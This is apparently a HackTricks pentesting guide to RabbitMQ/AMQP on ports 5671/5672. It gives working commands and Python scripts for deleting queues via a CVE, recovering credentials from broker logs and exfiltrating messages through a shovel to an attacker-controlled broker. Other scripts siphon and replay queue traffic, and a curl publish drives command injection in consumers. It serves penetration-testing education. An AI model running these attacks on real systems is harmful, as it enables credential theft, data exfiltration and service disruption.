🤖 HackTricks / 5671,5672 - Pentesting AMQP

5671,5672 - Pentesting AMQP

Basic Information

From cloudamqp:

RabbitMQ is a message-queueing software also known as a message broker or queue manager. Simply said; it is software where queues are defined, to which applications connect in order to transfer a message or messages.\ A message can include any kind of information. It could, for example, have information about a process or task that should start on another application (which could even be on another server), or it could be just a simple text message. The queue-manager software stores the messages until a receiving application connects and takes a message off the queue. The receiving application then processes the message.\ Definition from .

Default port: 5672,5671

PORT     STATE SERVICE VERSION
5672/tcp open  amqp    RabbitMQ 3.1.5 (0-9)
  • Default credentials: guest:guest. RabbitMQ restricts them to localhost through loopback_users, but many Docker/IoT images disable that check, so always test remote login before assuming it is blocked.
  • Authentication mechanisms: PLAIN and AMQPLAIN are enabled by default, ANONYMOUS is mapped to anonymous_login_user/anonymous_login_pass, and EXTERNAL (x509) can be exposed when TLS is enabled. Enumerate what the broker advertises so you know whether to try password spraying or certificate impersonation later.
  • AMQP 1.0 on the same listener: RabbitMQ 4.x can expose native AMQP 1.0 on 5672/5671 too. If you find an AMQP 1.0-capable client, bridge, or SSRF primitive, remember that targeting /queues/<queue> sends directly to an existing queue through the internal amq.default exchange, which is handy when you know queue names but cannot declare new topology.

Enumeration

Manual

import amqp
# By default it uses "guest":"guest"
conn = amqp.connection.Connection(host="IP", port=5672, virtual_host="/")
conn.connect()
print("SASL mechanisms:", conn.mechanisms)
for k, v in conn.server_properties.items():
    print(k, v)

Once authenticated, dump conn.server_properties, conn.channel_max and conn.frame_max to understand throughput limits and whether you can exhaust resources with oversized frames.

Starting with RabbitMQ 4.3.1, passive queue.declare / exchange.declare calls require at least one permission on the target object, which turns them into a low-noise privilege oracle: a NOT_FOUND vs ACCESS_REFUSED split tells you whether the object exists and whether your current user has any access to it. This is useful when you want to enumerate queue names without creating new broker artifacts.

Automatic

nmap -sV -Pn -n -T4 -p 5672 --script amqp-info IP

PORT     STATE SERVICE VERSION
5672/tcp open  amqp    RabbitMQ 3.1.5 (0-9)
| amqp-info:
|   capabilities:
|     publisher_confirms: YES
|     exchange_exchange_bindings: YES
|     basic.nack: YES
|     consumer_cancel_notify: YES
|   copyright: Copyright (C) 2007-2013 GoPivotal, Inc.
|   information: Licensed under the MPL.  See http://www.rabbitmq.com/
|   platform: Erlang/OTP
|   product: RabbitMQ
|   version: 3.1.5
|   mechanisms: PLAIN AMQPLAIN
|_  locales: en_US

TLS/SASL checks

  • Probe AMQPS: 
    openssl s_client -alpn amqp -connect IP:5671 -tls1_3 -msg </dev/null
    This leaks the certificate chain, supported TLS versions and whether mutual TLS is required.
  • List listeners without creds: 
    rabbitmq-diagnostics -q listeners
    Useful once you get low-priv shell access to the host.
  • Spot ANONYMOUS logins: if the broker allows the ANONYMOUS SASL mechanism, try connecting with an empty username/password; RabbitMQ will internally map you to the anonymous_login_user (defaults to guest).

Brute Force

Exploitation Tips

Queue deletion without configure perms (CVE-2024-51988)

RabbitMQ ≤ 3.12.10 (and unpatched Tanzu builds) fail to check the configure permission when queues are deleted via the HTTP API. Any authenticated user with access to the target vhost can nuke arbitrary queues even if they only have read or write rights.

# confirm vulnerable version first
rabbitmqadmin -H target -P 15672 -u user -p pass show overview | grep -i version
# delete a high-value queue
curl -k -u user:pass -X DELETE https://target:15672/api/queues/%2F/payments-processing

Combine this with rabbitmqadmin list permissions to find vhosts where your low-priv user has partial access, then wipe queues to induce denial of service or trigger compensating controls observed on the AMQP side. Check 15672 pentesting for more HTTP API endpoints to chain with this bug.

Harvest credentials from RabbitMQ logs (CVE-2025-50200)

Until 4.0.8/4.1.0, hitting the management API with HTTP basic auth on a non-existent resource causes the broker to log the entire Authorization header (base64). If you gain limited filesystem access (e.g. Docker escape, plugin RCE), search /var/log/rabbitmq/rabbit@*.log for Authorization: and recover credentials for other tenants or service accounts.

curl -k -u pentester:SuperSecret https://target:15672/api/queues/%2f/ghost
sudo grep -R "Authorization:" /var/log/rabbitmq | cut -d' ' -f3 | base64 -d

Trigger this intentionally with bogus endpoints to plant fresh secrets in the logs, then pivot by reusing the decoded creds over AMQP, STOMP, MQTT or the OS itself.

Weaponize rabbitmqadmin-ng

rabbitmqadmin v2 (aka rabbitmqadmin-ng) is a self-contained CLI that talks to the management API and now ships statically linked builds for Linux/macOS/Windows. Drop it on your bounce box and script:

# enumerate live channels and prefetch pressure
rabbitmqadmin --host target --port 15672 --username user --password pass channels list --non-interactive
# clone a shovel to exfiltrate messages to attacker-controlled broker
rabbitmqadmin shovels declare_amqp091 \
  --name loot \
  --source-uri amqp://user:pass@target:5672/%2f \
  --destination-uri amqp://attacker:pw@vps:5672/%2f \
  --source-queue transactions \
  --destination-queue stolen

Because the tool supports blue/green aware health checks, you can also abuse rabbitmqadmin health_check port_listener --port 5672 to remotely confirm whether TLS listeners were exposed or to keep the service busy for timing probes.

Message hijacking/sniffing

If you find permissive policies (.* bindings, topic exchanges, or x-queue-master-locator = min-masters), you can quietly siphon messages without deleting them:

import pika
creds = pika.PlainCredentials('user','pass')
conn = pika.BlockingConnection(pika.ConnectionParameters('IP', 5672, '/', creds))
ch = conn.channel()
ch.queue_declare(queue='loot', exclusive=True, auto_delete=True)
ch.queue_bind(queue='loot', exchange='amq.topic', routing_key='#')
for method, props, body in ch.consume('loot', inactivity_timeout=5):
    if body:
        print(method.routing_key, body)

Swap the routing key for audit.# or payments.* to focus on sensitive flows, then republish forged messages by flipping basic_publish arguments—handy for replay attacks against downstream microservices.

Remember that topic authorisation is often weaker than defenders expect: on fresh RabbitMQ installations, if no topic permissions were explicitly defined, publishing to and consuming from topic exchanges is still authorised once the normal resource permissions match. In practice, broad binds such as # or user.# frequently work for low-priv users that were only intended to access a narrow subset of subjects.

Replay historical traffic from stream queues

If the target uses stream queues (x-queue-type=stream), treat them like an append-only log instead of a classic destructive queue. RabbitMQ streams retain messages after consumption, and a consumer can attach from the first available message, a specific numeric offset, or a timestamp. That means a stolen read-capable account can often recover historical jobs, credentials, tokens, or PII long after the original consumer processed them.

import pika
creds = pika.PlainCredentials('user','pass')
conn = pika.BlockingConnection(pika.ConnectionParameters('IP', 5672, '/', creds))
ch = conn.channel()
for method, props, body in ch.consume(
    'orders-stream',
    arguments={'x-stream-offset': 'first'},
    inactivity_timeout=5,
):
    if body:
        print(body)

If you see queue type stream in the management UI or via rabbitmqadmin queues list name type arguments, immediately test historical replay. This is especially valuable in incident-response, CI/CD, and IoT deployments where old messages still contain bearer tokens, firmware URLs, or command payloads.

Subscribe to amq.rabbitmq.event for recon

When the rabbitmq_event_exchange plugin is enabled, RabbitMQ republishes internal events to the topic exchange amq.rabbitmq.event. With read access, you can bind a temporary queue to patterns such as user.#, queue.#, binding.#, or connection.# and turn the broker into a live recon feed: failed logins, new queues, deleted bindings, and other administrative activity become visible in near real time.

import pika
creds = pika.PlainCredentials('user','pass')
conn = pika.BlockingConnection(pika.ConnectionParameters('IP', 5672, '/', creds))
ch = conn.channel()
ch.queue_declare(queue='evtloot', exclusive=True, auto_delete=True)
ch.queue_bind(queue='evtloot', exchange='amq.rabbitmq.event', routing_key='user.#')
for method, props, body in ch.consume('evtloot', inactivity_timeout=5):
    if props and props.headers:
        print(method.routing_key, props.headers)

The message body is blank, so inspect headers/annotations instead. This is a very useful way to monitor credential spraying, discover admin activity, or identify queue names worth targeting next.

Consumer-side command injection (message bus -> RCE)

Treat every message broker as a potential code-delivery primitive when downstream consumers turn message data into shell commands, SQL, template input, or config updates. The critical anti-pattern is a worker that reads attacker-controlled content from a queue/topic and feeds it into a shell, for example bash -c "$MESSAGE", sh -c, os.system, subprocess(..., shell=True), Runtime.exec, or Command::new("bash").arg("-c").arg(message).

Typical exploitation chain:

  1. Gain publish capability to a queue/topic:
  2. Direct broker access with weak/default credentials or no auth
  3. Access to an HTTP publish feature such as RabbitMQ Management POST /api/exchanges/%2F/<exchange>/publish
  4. SSRF into an internal broker or debug endpoint that can speak raw TCP to the broker
  5. Compromise of any producer service that already writes to the target queue/topic
  6. Locate the sink in source/config:
  7. Workers calling shells after deserializing messages
  8. "task runners" that accept commands over the queue
  9. Consumers that rebuild config files and then execute hooks/reload scripts
  10. Publish a benign probe first (id, whoami, uname -a) to confirm execution without destroying the worker
  11. Upgrade to a reverse shell or data theft once the execution path is confirmed

Things to look for during source review:

  • Consumer groups named update, jobs, tasks, commands, hooks, admin, dns, or sync
  • Supervisor/systemd entries launching both a broker consumer and a privileged helper in the same container
  • Log lines showing a worker executes each message and then republishes results to a second queue/topic

Example RabbitMQ publish through the management API:

curl -u user:pass -H 'content-type: application/json' \
  -X POST http://TARGET:15672/api/exchanges/%2F/amq.default/publish \
  -d '{"properties":{},"routing_key":"update","payload":"id","payload_encoding":"string"}'

The same pattern appears outside AMQP. In Kafka, once you can reach the broker and craft a valid Produce request for the attacker-controlled topic, any consumer that forwards the message body to bash -c becomes an RCE sink. If the only reachable primitive is SSRF, check whether it can send raw TCP bytes or follow a gopher:// redirect so you can still speak the broker protocol.

Other RabbitMQ ports

In https://www.rabbitmq.com/networking.html you can find that rabbitmq uses several ports:

See also

4222-pentesting-nats.md

Shodan

  • AMQP

References